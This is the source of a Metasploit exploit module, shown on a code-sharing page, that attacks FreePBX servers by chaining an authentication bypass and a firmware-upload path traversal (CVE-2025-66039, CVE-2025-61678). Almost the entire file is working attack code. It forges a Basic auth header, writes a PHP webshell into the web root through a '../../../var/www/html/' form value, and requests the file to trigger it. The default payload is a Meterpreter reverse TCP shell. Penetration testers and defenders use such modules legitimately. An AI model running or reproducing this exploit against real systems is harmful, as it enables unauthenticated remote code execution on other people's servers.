Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/http/freepbx_firmware_file_upload.rb
31151 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Exploit::Remote::HttpClient
10
include Msf::Exploit::FileDropper
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'FreePBX firmware file upload',
17
'Description' => %q{
18
The FreePBX versions prior to 16.0.44,16.0.92 and 17.0.6,17.0.23 are vulnerable to multiple CVEs, specifically CVE-2025-66039 and CVE-2025-61678, in the context of this module. The versions before 16.0.44 and 17.0.23 are vulnerable to CVE-2025-66039, while versions before 16.0.92 and 17.0.6 are vulnerable to CVE-2025-61678. The former represents an authentication bypass: when FreePBX uses Webserver Authorization Mode (an option the admin can enable), it allows an attacker to authenticate as any user. The latter allows unrestricted file uploads via firmware upload, including path traversal. These vulnerabilities allow unauthenticated remote code execution by bypassing authentication and placing a webshell in the web server's directory.
19
},
20
'License' => MSF_LICENSE,
21
'Author' => [
22
'Noah King', # research
23
'msutovsky-r7' # module
24
],
25
'References' => [
26
[ 'CVE', '2025-66039'], # Authentication Bypass
27
[ 'CVE', '2025-61678'], # File Upload and Path Traversal
28
[ 'URL', 'https://horizon3.ai/attack-research/the-freepbx-rabbit-hole-cve-2025-66039-and-others/']
29
],
30
'Platform' => ['php'],
31
'Targets' => [
32
[
33
'PHP',
34
{
35
'Platform' => 'php',
36
'Arch' => ARCH_PHP,
37
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' },
38
'Type' => :php
39
}
40
]
41
],
42
'DisclosureDate' => '2025-12-11',
43
'DefaultTarget' => 0,
44
'Notes' => {
45
'Stability' => [CRASH_SAFE],
46
'Reliability' => [REPEATABLE_SESSION],
47
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
48
}
49
)
50
)
51
52
register_options(
53
[
54
OptString.new('USERNAME', [true, 'A valid FreePBX user']),
55
]
56
)
57
end
58
59
def check
60
res = send_request_cgi({
61
'uri' => normalize_uri('admin', 'config.php'),
62
'method' => 'GET'
63
})
64
65
if (res&.code == 401 && res.body.include?('FreePBX')) ||
66
(res.code == 500)
67
return CheckCode::Detected('The FreePBX with Webserver authentication mode detected')
68
end
69
70
CheckCode::Safe('Webserver authorization mode is not set')
71
end
72
73
def get_session_cookie
74
res = send_request_cgi({
75
'uri' => normalize_uri('admin', 'config.php'),
76
'method' => 'GET',
77
'headers' => { 'Authorization' => basic_auth(datastore['USERNAME'], Rex::Text.rand_text_alphanumeric(6)) },
78
'keep_cookies' => true
79
})
80
81
fail_with(Failure::UnexpectedReply, 'Received unexpected reply') unless res&.code == 401
82
83
fail_with(Failure::NotVulnerable, 'Target might not be vulnerable to authentication bypass') unless res.get_cookies
84
end
85
86
def upload_webshell
87
@target_payload_file_name = %(#{Rex::Text.rand_text_alphanumeric(8).downcase}.php)
88
@target_dir = Rex::Text.rand_text_alphanumeric(8).downcase
89
90
form_data = Rex::MIME::Message.new
91
92
form_data.add_part(SecureRandom.uuid, nil, nil, 'form-data; name="dzuuid"')
93
form_data.add_part('0', nil, nil, 'form-data; name="dzchunkindex"')
94
form_data.add_part(payload.encoded.length.to_s, nil, nil, 'form-data; name="dztotalfilesize"')
95
form_data.add_part('2000000', nil, nil, 'form-data; name="dzchunksize"')
96
form_data.add_part('1', nil, nil, 'form-data; name="dztotalchunkcount"')
97
form_data.add_part('0', nil, nil, 'form-data; name="dzchunkbyteoffset"')
98
form_data.add_part("../../../var/www/html/#{@target_dir}", nil, nil, 'form-data; name="fwbrand"')
99
form_data.add_part('1', nil, nil, 'form-data; name="fwmodel"')
100
form_data.add_part('1', nil, nil, 'form-data; name="fwversion"')
101
form_data.add_part(payload.encoded, 'application/octet-stream', nil, %(form-data; name="file"; filename="#{@target_payload_file_name}"))
102
103
res = send_request_cgi({
104
'uri' => normalize_uri('admin', 'ajax.php'),
105
'method' => 'POST',
106
'headers' => {
107
'Authorization' => basic_auth(Rex::Text.rand_text_alphanumeric(6), Rex::Text.rand_text_alphanumeric(6)),
108
'Referer' => full_uri(normalize_uri('admin', 'config.php'))
109
},
110
'ctype' => "multipart/form-data; boundary=#{form_data.bound}",
111
'vars_get' => { 'module' => 'endpoint', 'command' => 'upload_cust_fw' },
112
'data' => form_data.to_s
113
})
114
115
fail_with(Failure::PayloadFailed, 'Failed to upload webshell') unless res&.code == 500
116
register_dir_for_cleanup("../#{@target_dir}")
117
end
118
119
def trigger_payload
120
send_request_cgi({
121
'uri' => normalize_uri(@target_dir, @target_payload_file_name),
122
'method' => 'GET'
123
})
124
end
125
126
def exploit
127
print_status('Trying to bypass authentication...')
128
get_session_cookie
129
130
print_good('Bypass successful, trying upload webshell...')
131
132
upload_webshell
133
134
print_good('Upload successful, triggering...')
135
136
trigger_payload
137
end
138
end
139
140